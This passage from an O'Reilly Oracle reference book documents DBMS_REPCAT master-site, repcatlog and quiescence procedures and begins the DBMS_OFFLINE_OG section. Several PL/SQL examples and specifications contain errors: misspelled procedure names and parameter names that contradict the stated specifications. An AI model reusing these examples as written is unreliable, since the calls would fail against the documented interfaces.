Here are the DBMS_REPCAT programs associated with creating and maintaining master sites in your replicated environment:

DBMS_REPCAT.ADD_MASTER_DATABASE
DBMS_REPCAT.REMOVE_MASTER_DATABASES
DBMS_REPCAT.COMMENT_ON_REPSITES
DBMS_REPCAT.RELOCATE_MASTERDEF

We describe these programs in the following sections.

15.3.5.1 The DBMS_REPCAT.ADD_MASTER_DATABASE procedure

The ADD_MASTER_DATABASE procedure adds a master site. The specifications differ for Oracle7 and Oracle8 as follows. (Note that the sname parameter no longer exists in Oracle8.)

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.ADD_MASTER_DATABASE
   (gname     IN VARCHAR2 := '',
    master    IN VARCHAR2,
    use_existing_objects IN BOOLEAN := TRUE,
    copy_rows IN BOOLEAN := TRUE,
    comment   IN VARCHAR2 := '',
    propagation_mode IN VARCHAR2 := 'ASYNCHRONOUS',
    sname N VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.ADD_MASTER_DATABASE
   (gname     IN VARCHAR2 := '',
    master    IN VARCHAR2,
    use_existing_objects IN BOOLEAN := TRUE,
    copy_rows IN BOOLEAN := TRUE,
    comment   IN VARCHAR2 := '',
    propagation_mode IN VARCHAR2 := 'ASYNCHRONOUS');

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group to which master site is being added
master | Global name of the new master site
use_existing_objects | Reuse existing objects at the new site
copy_rows | Copy rows from the invoking site to the new master site
comment | Comment on new master site, visible in DBA_REPSITES data dictionary view
propagation_mode | Propagation mode (SYNCHRONOUS or ASYNCHRONOUS)
sname (Oracle7 only) | Schema name (not used)

15.3.5.1.1 Exceptions

The ADD_MASTER_DATABASE procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Site master is not reachable
duplicateschema | -23307 | Replication group gname already exists at site master
invalidpropmode | -23380 | Propagation_mode is not SYNCHRONOUS or ASYNCHRONOUS
missingrepgroup | -23373 | Replication group gname does not exist at the calling site
nonmasterdef | -23312 | Calling site is not the master definition site
notquiesced | -23310 | Replication group gname is not quiesced
repnotcompatible | -23376 | Replication group gname does not exist at master, and master is a pre-7.3 release

15.3.5.1.2 Restrictions

Note the following restrictions on calling ADD_MASTER_DATABASE:

  • This procedure must be run from the master definition site.

  • The replication group must be quiesced.

15.3.5.1.3 Example

The ADD_MASTER_DATABASE procedure is relatively simple to use. For example, this call adds site D7NY.BIGWHEEL.COM to the SPROCKET replication group and instantiates all objects there:

    BEGIN
        DBMS_REPCAT.ADD_MASTER_DATABASE(
            gname		=> 'SPROCKET',
            master		=> 'D7NY.BIGWHEEL.COM',
            use_existing_objects=> 'FALSE',
            copy_rows	=> 'TRUE',
            propagation_mode=> 'ASYNCHRONOUS');
    END;

For additional examples, see the repsites.sql and links.sql files on the companion disk. The repsites.sql example queries all replication sites, sorted by replication group, and queries the DBA_REPSITES data dictionary view. The links.sql example lists all database links in the database (but not the passwords for those that were created using a CONNECT clause).

NOTE: It is generally easier to instantiate all objects at the new master site first. That way, the call to ADD_MASTER_DATABASE does not have to perform DDL to create the schema or send all of the data across a network link. If you instantiate the objects first, the call to ADD_MASTER_DATABASE has to generate replication support only for the objects at the new site and update other master sites with the new master's existence.

15.3.5.2 The DBMS_REPCAT.REMOVE_MASTER_DATABASES procedure

The REMOVE_MASTER_DATABASES procedure complements the ADD_MASTER_DATABASE procedure by removing master sites. The master sites being removed do not need to be accessible, but all other masters do. As with the ADD_MASTER_DATABASE procedure, the Oracle7 and Oracle8 specifications differ; Oracle8 does not have the sname parameter.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.REMOVE_MASTER_DATABASES
   (gname IN VARCHAR2 := '',
    master_list IN VARCHAR2,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.REMOVE_MASTER_DATABASES
   (gname IN VARCHAR2 := '',
    master_list IN VARCHAR2);,

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group from which master site(s) will be removed
master_list | A comma-delimited list of global_names of master sites to be removed; use either master_list or master_table
sname (Oracle7 only) | Schema name (not used)

15.3.5.2.1 Exceptions

The REMOVE_MASTER_DATABASES procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | One or more remaining master sites is not reachable
nonmaster | -23313 | One or more of the specified masters is not a master database
nonmasterdef | -23312 | Calling site is not the master definition site
reconfigerror | -23316 | One of the specified masters in the master definition site

15.3.5.2.2 Restrictions

The REMOVE_MASTER_DATABASES procedure must be run from the master definition site.

15.3.5.2.3 Example

To remove site D7NY.BIGWHEEL.COM from the SPROCKET replication group and inform all other master sites, specify the following:

    BEGIN
        DBMS_REPCAT.REMOVE_MASTER_DATABASES(
            name		=> 'SPROCKET',
            master_list 		=> 'D7NY.BIGWHEEL.COM');
    END;

NOTE: After removing master sites with REMOVE_MASTER_DATABASES, you should call DBMS_REPCAT.DROP_MASTER_REPGROUP at each of the master sites you removed. Although you do not need to quiesce the replication group to remove one or more master database(s), you are strongly encouraged to do so. Otherwise, you will have to manually clear the RPC queue and resolve any inconsistencies.

15.3.5.3 The DBMS_REPCAT.COMMENT_ON_REPSITES procedure

The COMMENT_ON_REPSITES procedure allows you to add or change a comment associated with a master site specified in the DBA_REPSITES data dictionary view. Here's the specification:

PROCEDURE DBMS_REPCAT.COMMENT_ON_REPSITES
   (gname IN VARCHAR2,
    master IN VARCHAR,
    comment IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group to which master belongs
master | Global name of master site
comment | Comment

15.3.5.3.1 Exceptions

The COMMENT_ON_REPSITES procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with one or more master sites
nonmaster | -23313 | The master is not a master site
nonmasterdef | -23312 | Calling site is not master definition site

15.3.5.3.2 Restrictions

You must call the COMMENT_ON_REPSITES procedure from the master definition site.

15.3.5.3.3 Example

The following call updates the comment for master site D7NY. BIGWHEEL.COM:

    BEGIN
        DBMS_REPCAT.COMMENT_ON_REPSITES(
            gname		=> 'SPROCKET',
            master		=> 'D7NY.BIGWHEEL.COM',
            comment		=> 'Comment added on '||sysdate|| ' by ' ||user)
    END;

15.3.5.4 The DBMS_REPCAT.RELOCATE_MASTERDEF procedure

If your master definition site becomes unusable, or if you simply want another site to serve that role, you can configure a different master site as the master definition site with the RELOCATE_MASTERDEF procedure described in this section. Follow these guidelines:

  • If your relocation is planned (i.e., all sites are up and reachable), set the notify_masters and include_old_masterdef parameters to TRUE.

  • If the current master definition site is not available, set the notify_masters parameter to TRUE and set include_old_masterdef to FALSE.

  • If the master definition site as well as some master sites are unavailable, invoke the RELOCATE_MASTERDEF procedure from each functioning master site with both the notify_masters and the include_old_masterdef parameters set to FALSE.

The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.RELOCATE_MASTERDEF
   (gname IN VARCHAR2 := '',
    old_masterdef IN VARCHAR2,
    new_masterdef IN VARCHAR2,
    notify_masters IN BOOLEAN := TRUE,
    include_old_masterdef IN BOOLEAN := TRUE,
    sname IN VARCHAR2 := '')

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.RELOCATE_MASTERDEF
   (gname IN VARCHAR2,
    old_masterdef IN VARCHAR2,
    new_masterdef IN VARCHAR2,
    notify_masters IN BOOLEAN := TRUE,
    include_old_masterdef IN BOOLEAN := TRUE);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group.
old_masterdef | Global name of the current master definition site.
new_masterdef | Global name of the new master definition site.
notify_masters | If TRUE (the default), synchronously multicast information about the change to all masters; if FALSE, do not inform masters.
include_old_masterdef | If TRUE (the default), notify current master definition site of the change.
sname (Oracle7 only) | Not used.

15.3.5.4.1 Exceptions

The RELOCATE_MASTERDEF procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with master site(s) and notify_masters is TRUE
nonmaster | -23313 | The new_masterdef is not a master site
nonmasterdef | -23312 | The old_masterdef is not the master definition site

15.3.5.4.2 Restrictions

You must call RELOCATE_MASTERDEF from a master or master definition site.

15.3.5.4.3 Example

The following call relocates the master definition site for replication group SPROCKET from D7CA.BIGWHEEL.COM to D7NY.BIGWHEEL.COM, and informs all masters, as well as the master definition site, of the change:

BEGIN
    DBMS_REPCAT.RELOCATE_MASTERDEF(
        gname		=> 'SPROCKET',
        old_master_def	=> 'D7CA.BIGWHEEL.COM',
        new_master_def	=> 'D7NY.BIGWHEEL.COM',
        notify_masters	=> TRUE,
        include_old_masterdef=> TRUE);
END;

Suppose that the master definition site D7CA.BIGWHEEL.COM becomes permanently unavailable. We can convert another site, such as D7NY.BIGWHEEL.COM, into the master definition site without having to communicate with D7CA.BIGWHEEL.COM. We set the include_old_masterdef parameter to FALSE.

BEGIN
    DBMS_REPCAT.RELOCATE_MASTERDEF(
        gname		=> 'SPROCKET',
        old_master_def	=> 'D7CA.BIGWHEEL.COM',
        new_master_def	=> 'D7NY.BIGWHEEL.COM',
        notify_masters	=> TRUE,
        include_old_masterdef=> FALSE);
END;

15.3.6 Maintaining the Repcatlog Queue with DBMS_REPCAT

The programs in this category maintain the "repcatlog" queue. You'll use these procedures:

DBMS_REPCAT.DO_DEFERRED_REPCAT_ADMIN
DBMS_REPCAT.WAIT_MASTER_LOG
DBMS_REPCAT.PURGE_MASTER_LOG

The following sections describe these programs.

15.3.6.1 The DBMS_REPCAT.DO_DEFERRED_REPCAT_ADMIN procedure

Whenever you create or alter replicated objects -- for example, with the GENERATE_REPLICATION_SUPPORT or ALTER_MASTER_REPOBJECT procedure -- Oracle queues the changes in the "repcatlog" queue; the entries in this queue correspond to entries in the DBA_REPCATLOG data dictionary view. All DDL changes must originate at the master definition site, but the repcatlog queue exists at every master site.

The DO_DEFERRED_REPCAT_ADMIN procedure processes entries in the repcatlog queue at all master sites. You may have noticed this job in the job queue, scheduled to run once every ten minutes. Oracle creates this scheduled job the first time you execute one of the packages that performs DDL.

The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.DO_DEFERRED_REPCAT_ADMIN
   (gname IN VARCHAR2 := '',
    all_sites IN BOOLEAN := FALSE,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.DO_DEFERRED_REPCAT_ADMIN
   (gname IN VARCHAR2,
    all_sites IN BOOLEAN := FALSE);

As with all of the other DBMS_REPCAT procedures, the Oracle8 version does not have the sname parameter.

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group for which to push the repcatlog queue
all_sites | If TRUE, execute queued procedures at every master site
sname (Oracle7 only) | Not used

15.3.6.1.1 Exceptions

The DO_DEFERRED_REPCAT_ADMIN procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with master site
nonmaster | -23312 | Master site associated with snapshot group is no longer a master site

15.3.6.1.2 Restrictions

The DO_DEFERRED_REPCAT_ADMIN procedure performs only the procedures that have been queued by the invoking user. Note that the job queue is used to perform the queued procedures automatically.

15.3.6.1.3 Example.

If you want to run DO_DEFERRED_REPCAT_ADMIN manually, either because you do not have DBMS_JOB background processes running, or because you want to push the repcatlog queue immediately, you can do so. Here is an example:

BEGIN
    DBMS_REPCAT.DO_DEFFERED_REPCAT_ADMIN
    ( gname => 'SPROCKET',  all_sites => TRUE);
END;

For an additional example, see the catlog.sql file on the companion disk. The example lists entries in the repcatlog (DBA_REPCATLOG) with the time of submission in hours, minutes, and seconds.

15.3.6.2 The DBMS_REPCAT.WAIT_MASTER_LOG procedure

You can use the WAIT_MASTER_LOG procedure to ascertain whether the changes in the repcatlog queue have reached the master sites. This procedure has an OUT parameter, true_count, which the procedure populates with the number of outstanding tasks. The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.WAIT_MASTER_LOG
   (gname IN VARCHAR2 := '',
    record_count IN NATURAL,
    timeout IN NATURAL,
    true_count OUT NATURAL,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.WAIT_MASTER_LOG
   (gname IN VARCHAR2,
    record_count IN NATURAL,
    timeout IN NATURAL,
    true_count OUT NATURAL);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group
record_count | Number of records to allow to be entered in the DBA_REPCATLOG data dictionary view before returning
timeout | Number of seconds to wait before returning
true_count | Output variable containing the actual number of incomplete activities queued in the DBA_REPCATLOG data dictionary view
sname | Not used

There are no restrictions on calling WAIT_MASTER_LOG.

15.3.6.2.1 Exceptions

The WAIT_MASTER_LOG procedure may raise the following exception:

Name | Number | Description
nonmaster | -23312 | Calling site is not a master site

15.3.6.2.2 Example

The following call returns after 60 seconds, or after five entries have been entered into the DBA_REPCATLOG data dictionary view at the current master for replication group SPROCKET. The number of records (corresponding to incomplete tasks) is stored in the variable vRecCount.

    VARIABLE vRecCount NATURAL
    BEGIN
        DBMS_REPCAT.WAIT_MASTER_LOG(gname=> 'SPROCKET',
                        record_count => 5,
                        timeout => 60,
                        true_count => vRecCount);
    END;

NOTE: You might find it more convenient to query the DBA_REPCATLOG data dictionary view directly.

15.3.6.3 The DBMS_REPCAT.PURGE_MASTER_LOG procedure

The DBA_REPCATLOG data dictionary view retains entries on DDL propagations that have failed; these entries are not removed when you resolve the problem that caused the failure. You may notice entries such as these:

  1  SELECT	source, status, request, to_char(timestamp, 'HH24:MI:SS') timestamp
  2  FROM dba_repcatlog
  3* ORDER BY id
system@d7ca SQL> /

Source	                Status	Request                         Time
--------------------	-------	------------------------	---------------
D7CA.BIGWHEEL.COM 	ERROR	CREATE_MASTER_REPOBJECT	        23:13:07
D7CA.BIGWHEEL.COM	ERROR	CREATE_MASTER_REPOBJECT	        23:13:07
D7CA.BIGWHEEL.COM	ERROR	CREATE_MASTER_REPOBJECT	        23:25:20
D7CA.BIGWHEEL.COM	ERROR	CREATE_MASTER_REPOBJECT	        23:25:20
D7CA.BIGWHEEL.COM	ERROR	CREATE_MASTER_REPOBJECT	        23:26:53
D7CA.BIGWHEEL.COM	ERROR	CREATE_MASTER_REPOBJECT	        23:26:53
D7CA.BIGWHEEL.COM	ERROR	DROP_MASTER_REPOBJECT	        14:03:27
D7CA.BIGWHEEL.COM	ERROR	DROP_MASTER_REPOBJECT	        14:03:27

8 rows selected.

You must use the PURGE_MASTER_LOG procedure to remove these entries from DBA_REPCATLOG. You can specify records to delete by id, originating master, replication group, and schema. If a parameter is NULL, it is treated as a wildcard. Specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.PURGE_MASTER_LOG
   (id IN NATURAL,
    source IN VARCHAR2,
    gname IN VARCHAR2 := '',
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.PURGE_MASTER_LOG
   (id IN NATURAL,
    source IN VARCHAR2,
    gname IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
id | Identification of the request (i.e., the ID field in DBA_REPCATLOG data dictionary view)
source | Global name of originating master
gname | Name of the replication group for which request was made
sname (Oracle7 only) | Not used

15.3.6.3.1 Exceptions

The PURGE_MASTER_LOG procedure may raise the following exception:

Name | Number | Description
nonmaster | -23312 | The gname is NULL and calling site is not a master site

15.3.6.3.2 Restrictions

The calling site must be a master site.

15.3.6.3.3 Example

The following call removes all entries associated with replication group SPROCKET from the DBA_REPCATLOG data dictionary view:

    BEGIN
        DBMS_REPCAT.PURGE_MASTER_LOG(gname=> 'SPROCKET' );
    END;

For an additional example, see the caterr.sql file on the companion disk. The example lists entries in the repcatlog (DBA_REPCATLOG) containing errors, and displays the error message associated with each error.

NOTE: To clear all entries from the DBA_REPCATLOG data dictionary view, set all parameters to NULL.

15.3.7 Quiescence with DBMS_REPCAT

You may have noticed that many of the DBMS_REPCAT packages require you to quiesce the environment before using them. Quiescence, as it is called, accomplishes two things:

  1. It applies all outstanding DML for the replication group at all master sites.

  2. It prevents any additional DML on any of the replicated objects at all master sites.

In other words, quiescence ensures that all sites are up to date, and forces the replicated environment to stand still.

WARNING: Do not attempt to quiesce an environment that has unresolved errors or any other serious problems. If you cannot complete outstanding transactions, you will not be able to quiesce the environment.

You will use the following programs to quiesce your environment and start it up again:

DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY
DBMS_REPCAT.RESUME_MASTER_ACTIVITY

15.3.7.1 The DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY procedure

The SUSPEND_MASTER_ACTIVITY procedure quiesces an environment. The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBS_REPCAT.SUSPEND_MASTER_ACTIVITY
   (gname IN VARCHAR2 := '',
    execute_as_user IN BOOLEAN  := FALSE,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY
   (gname IN VARCHAR2,
    override IN BOOLEAN  := FALSE);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group for which replication activity is to be suspended
execute_as_user | FALSE (default), indicates that remote system will authenticate calls using authentication context user who originally queued the RPC; TRUE indicates that remote system will use authentication context of the session user
sname (Oracle7 only) | Not used

15.3.7.1.1 Exceptions

The SUSPEND_MASTER_ACTIVITY procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with one or more master site(s)
nonmasterdef | -23312 | Calling site is not the master definition site
notnormal | -23311 | Replication group gname is not in NORMAL state

15.3.7.1.2 Restrictions

Note the following restrictions on calling SUSPEND_MASTER_ACTIVITY:

  • You must run this procedure from the master definition site.

  • Prior to Oracle8, this procedure quiesces all replication groups at the master definition site, not just the group specified by the gname parameter.

15.3.7.1.3 Example

The following call suspends replication activity for the SPROCKET replication group:

BEGIN
    DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY(  gname => 'SPROCKET' );
END;

NOTE: This call can take some time to complete if you have many master sites and/or many outstanding transactions. You can monitor the progress by querying the status field in the DBA_REPCATLOG data dictionary view.

15.3.7.2 The DBMS_REPCAT.RESUME_MASTER_ACTIVITY procedure

The RESUME_MASTER_ACTIVITY procedure starts up an environment that has been quiesced. The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.RESUME_MASTER_ACTIVITY
   (gname IN VARCHAR2 := '',
    override IN BOOLEAN := FALSE,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.RESUME_MASTER_ACTIVITY
   (gname IN VARCHAR2,
    override IN BOOLEAN := FALSE);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group for which replication activity is to be resumed.
override | If FALSE (the default), activity is resumed only after all deferred REPCAT activity is completed; if set to TRUE, activity is resumed as soon as possible
sname | Not used

15.3.7.2.1 Exceptions

The RESUME_MASTER_ACTIVITY procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with one or more master site(s)
nonmasterdef | -23312 | Calling site is not the master definition site
notquiesced | -23310 | Replication group gname is not quiesced

15.3.7.2.2 Restrictions

Note the following restrictions on calling RESUME_MASTER_ACTIVITY:

  • You must run this procedure from the master definition site.

  • The replication group must be quiesced or quiescing.

15.3.7.2.3 Example

The following example resumes replication activity for a replication group:

BEGIN
    DBMS_REPCAT.RESUME_MASTER_ACTIVITY(  gname => 'SPROCKET' );
END;

15.3.8 Miscellaneous DBMS_REPCAT Procedures

This section describes several DBMS_REPCAT programs that don't fall into any of the earlier categories.

NOTE: We describe the IMPORT_CHECK, ALTER_MASTER_PROPAGATION, and SEND_AND_COMPARE_OLD_VALUES procedures here because they are a part of the DBMS_REPCAT package. However, you will probably run these procedures after using the DBMS_OFFLINE_OG and/or DBMS_RECTIFIER_DIFF packages described in the next major section.

15.3.8.1 The DBMS_REPCAT.REPCAT_IMPORT_CHECK procedure

From time to time, you may need to rebuild a master site from an export dump file as either a recovery or maintenance procedure. Because object id numbers (as seen in SYS.OBJ$.OBJ# and DBA_OBJECTS.OBJECT_ID) change during these rebuilds, Oracle supplies a procedure (REPCAT_IMPORT_CHECK) that you must run immediately after an import of any master site to synchronize the new id numbers with the data stored in the table SYSTEM.REPCAT$_REPOBJECT.

You must run the REPCAT_IMPORT_CHECK procedure immediately after you import any master site. The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.REPCAT_IMPORT_CHECK
   (gname IN VARCHAR2 := '',
    master IN BOOLEAN,
    sname IN VRCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.REPCAT_IMPORT_CHECK
   (gnamee in VARCHAR2 := '',
    master IN BOOLEAN);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group being revalidated
master | Set to TRUE if site is a master, FALSE if it is a snapshot site
sname (Oracle7 only) | Not used

15.3.8.1.1 Exceptions

The REPCAT_IMPORT_CHECK procedure may raise the following exceptions:

Name | Number | Description
missingobject | -23308 | Object with a status of VALID in REPCAT$_REPOBJECT does not exist
missingschema | -23306 | Schema sname does not exist
nonmaster | -23312 | Master is set to TRUE, but the calling site is not a master, or not the expected database
nonsnapshot | -23314 | Master is set to FALSE but the calling site is not a snapshot site

15.3.8.1.2 Example

The following call revalidates all replicated objects and supporting objects for the SPROCKET replication group. Issue this call after an import:

BEGIN
    DBMS_REPCAT.REPCAT_IMPORT_CHECJ(	sname						=> 'SPROCKET',  master	 => TRUE );
END;

NOTE: Call REPCAT_IMPORT_CHECK with sname and master set to NULL (or with no parameters) to validate all replication groups at the site.

15.3.8.2 The DBMS_REPCAT.ALTER_MASTER_PROPAGATION procedure

The advanced replication option supports two modes of propagation: synchronous and asynchronous. The following table summarizes the pros and cons of each mode.

Mode | Advantages | Disadvantages
Synchronous | Data is always up to date at all sites. No possibility of conflicts. | Requires 100% availability of network connections. If a site is unreachable, transactions are blocked.
Asynchronous | Master sites can go offline temporarily with no adverse impact. | Must build conflict resolution into replicated applications and monitor unresolved conflicts.

As a practical matter, you should opt for synchronous replication only if your sites are tightly linked to each other in your network, both physically and logically. Examples of acceptably tight links include two machines sharing a hub, or two machines connected by a crossover cable.

Regardless of the propagation method you choose, Oracle lets you change a replication group's propagation mode later with the ALTER_MASTER_PROPAGATION procedure. Call this procedure to change the propagation mode of a replication group (from synchronous to asynchronous, or vice versa). Here's the specification:

PROCEDURE DBMS_REPCAT.ALTER_MASTER_PROPAGATION
   (gname IN VARCHAR2,
    master IN VARCHAR2,
   {dblink_table IN dbms_utility.dblink_array | dblink_list IN VARCHAR2},
    propagation_modee IN VARCHAR2 := 'ASYNCHRONOUS',
    comment IN VARCHAR2 := '');

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group whose propagation mode is being altered
master | Global name of the master site having its propagation mode altered
dblink_list | List of database links for which the master's propagation mode is being altered
propagation_mode | New propagation mode (SYNCHRONOUS or ASYNCHRONOUS)
comment | Comment visible in DBA_REPPROP data dictionary view

15.3.8.2.1 Exceptions

The ALTER_MASTER_PROPAGATION procedure may raise the following exceptions:

Name | Number | Description
nonmaster | -23312 | One of the sites in dblink_list is not a master site
nonmasterdef | -23312 | Calling site is not the master definition site
notquiesced | -23310 | Replication group gname is not quiesced
typefailure | -23319 | The propagation_mode is not SYNCHRONOUS or ASYNCHRONOUS

15.3.8.2.2 Restrictions

Note the following restrictions on calling ALTER_MASTER_PROPAGATION:

  • You must run this procedure from the master definition site.

  • The replication group must be quiesced.

15.3.8.2.3 Example

The following call changes the propagation mode between D7CA.BIGWHEEL.COM and D7NY.BIGWHEEL.COM to SYNCHRONOUS:

    BEGIN
        DBMS_REPCAT.ALTER_MASTER_PROPAGATION(
            gname		=> 'SPROCKET',
            master		=> 'D7CA.BIGWHEEL.COM',
            dblink_list	=> 'D7NY.BIGWHEEL.COM',
            use_existing_objects=> 'FALSE',
            propagation_mode=> 'SYNCHRONOUS');
    END;

NOTE: If you change the propagation mode, you must also regenerate the replication support triggers for all replicated tables; ALTER_MASTER_PROPAGATION does not do this automatically. After altering the propagation method, you must call DBMS_REPCAT.GENERATE_REPLICATION_TRIGGERS for all replicated tables in the replication group.

15.3.8.3 The DBMS_REPCAT.SEND_AND_COMPARE_OLD_VALUES procedure (Oracle8 only)

The default behavior of advanced replication is to send the old and new values of every column to participating master sites whenever you update a row in a replicated table. At the destination sites, Oracle uses this information to ensure that the version of the row that you updated matches the version of the row currently at the destination. However, if you know that certain columns in a table will never change, you can avoid sending the data in these columns when you propagate updates to participating master sites. Using the SEND_AND_COMPARE_OLD_VALUES procedure (available only in Oracle8) in this way, you'll reduce propagation overhead. Here is the specification:

PROCEDURE DBMS_REPCAT.SEND_AND_COMPARE_OLD_VALUES
   (sname IN VARCHAR2
    oname IN VARCHAR2,
    {column_list IN VARCHAR2 | column_table IN dbms_repcat.varchar2s},
    operation IN VARCHAR2 := 'UPDATE',
    send IN BOOLEAN := TRUE);

Parameters are summarized in the following table.

Name | Description
sname | Name of the replication group whose propagation mode is being altered
oname | Table being altered
column_list | Comma-separated list of columns whose propagation mode is being altered; "*" indicates all nonkey columns
column_table | PL/SQL table of containing columns whose propagation is being altered
operation | Operation for which this change applies; this may be UPDATE, DELETE, or "*" (indicating both updates and deletes)
send | If TRUE (the default), then the old values for the columns are sent; if FALSE, then old values are not sent

NOTE: The configuration changes you specify with this procedure do not take effect unless the min_communication parameter is TRUE for the table in question. That is, you must have executed DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT for the table with min_communication = TRUE.

15.3.8.3.1 Exceptions

The SEND_AND_COMPARE_OLD_VALUES procedure may raise the following exceptions:

Name | Number | Description
missingobject | -23308 | Object oname does not exist
missingcolumn | -23334 | Column(s) specified do not exist in table oname
nonmasterdef | -23312 | Calling site is not the master definition site
notquiesced | -23310 | Replication group gname is not quiesced
typefailure | -23319 | The oname is not a table

15.3.8.3.2 Restrictions

Note the following restrictions on calling SEND_AND_COMPARE_OLD_VALUES:

  • You must call this procedure from the master definition site.

  • The replication group sname must be quiesced.

Previous: 15.2 DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts | Oracle Built-in Packages | Next: 15.4 DBMS_OFFLINE_OG: Performing Site Instantiation
15.2 DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts | Book Index | 15.4 DBMS_OFFLINE_OG: Performing Site Instantiation
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.4 DBMS_OFFLINE_OG: Performing Site Instantiation

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

15.4 DBMS_OFFLINE_OG: Performing Site Instantiation

When you add a new site to your replicated environment, you must not only create the replicated objects, but also populate snapshots and replicated tables with a copy of the current data. Although you can set the copy_rows parameter to TRUE in your call to the DBMS_REPCAT package's CREATE_MASTER_REPOBJECT or ADD_MASTER_DATABASE procedure, this option is not practical for schemas that are large or complex.

The DBMS_OFFLINE_OG package provides a more feasible method of site instantiation. The general idea is that you export data from an existing master site and import it into the new master site. While the import is taking place, the existing master sites queue data updates to the new site, but do not actually send the updates until the load is complete.

15.4.1 Getting Started with DBMS_OFFLINE_OG

The DBMS_OFFLINE_OG package is created when the Oracle database is installed. The dbmsofln.sql script (found in the built-in packages source directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The wrapped sql script prvtofln.plb creates the public synonym DBMS_OFFLINE_OG. No EXECUTE privileges are granted on DBMS_OFFLINE_OG; only the owner (SYS) and those with the EXECUTE ANY PROCEDURE system privilege may execute the package.

The programs in DBMS_OFFLINE_OG are listed in Table 15.5.

Table 15.5: DBMS_OFFLINE_OG: Programs
Name | Description | Use in SQL?
BEGIN_INSTANTIATION | Call from master definition site to flag beginning of offline instantiation | No
BEGIN_LOAD | Call from new master site prior to importing data | No
END_INSTANTIATION | Call from master definition site to flag end of offline instantiation | No
END_LOAD | Call from new master site after importing data | No
RESUME_SUBSET_OF_MASTERS | Call from master definition site to resume replication activity for existing sites while new site is instantiated | No

15.4.2 DBMS_OFFLINE_OG Interface

This section describes the programs available in the DBMS_OFFLINE_OG package.

15.4.2.1 The DBMS_OFFLINE_OG.BEGIN_INSTANTIATION procedure

The BEGIN_INSTANTIATION procedure is called from the master definition site to flag the beginning of offline instantiation. Here's the specification:

PROCEDURE DBMS_OFFLINE_OG.BEGIN_INSTANTIATION
   (gname IN VARCHAR2,
    new_site IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
gname | The replication group to which the site is being added
new_site | The global_name of the new_site

15.4.2.1.1 Exceptions

The BEGIN_INSTANTIATION procedure may raise the following exceptions:

Name | Number | Description
badargument | -23430 | gname is NULL or ` '
missingrepgroup | -23373 | Group gname does not exist
nonmasterdef | -23312 | Routine is not being called from master definition site
sitealreadyexists | -23432 | New_site already exists
wrongstate | -23431 | Group gname is not in NORMAL state at master definition site

15.4.2.1.2 Restrictions

The procedures in DBMS_OFFLINE_OG must be called in the appropriate order from the appropriate sites. The following example illustrates the proper use of this package.

15.4.2.1.3 Example

The following table summarizes the steps you should follow when you use the procedures in the DBMS_OFFLINE_OG package.

Step | Where Performed | Activity
1 | Master definition site | DBMS_REPCAT.ADD_MASTER_DATABASE
2 | Master definition site | DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY
3 | Master definition site | DBMS_OFFLINE_OG.BEGIN_INSTANTIATION
4 | Any master site | Export replicated schema
5 | Master definition site | DBMS_OFFLINE_OG.RESUME_SUBSET_OF_MASTERS
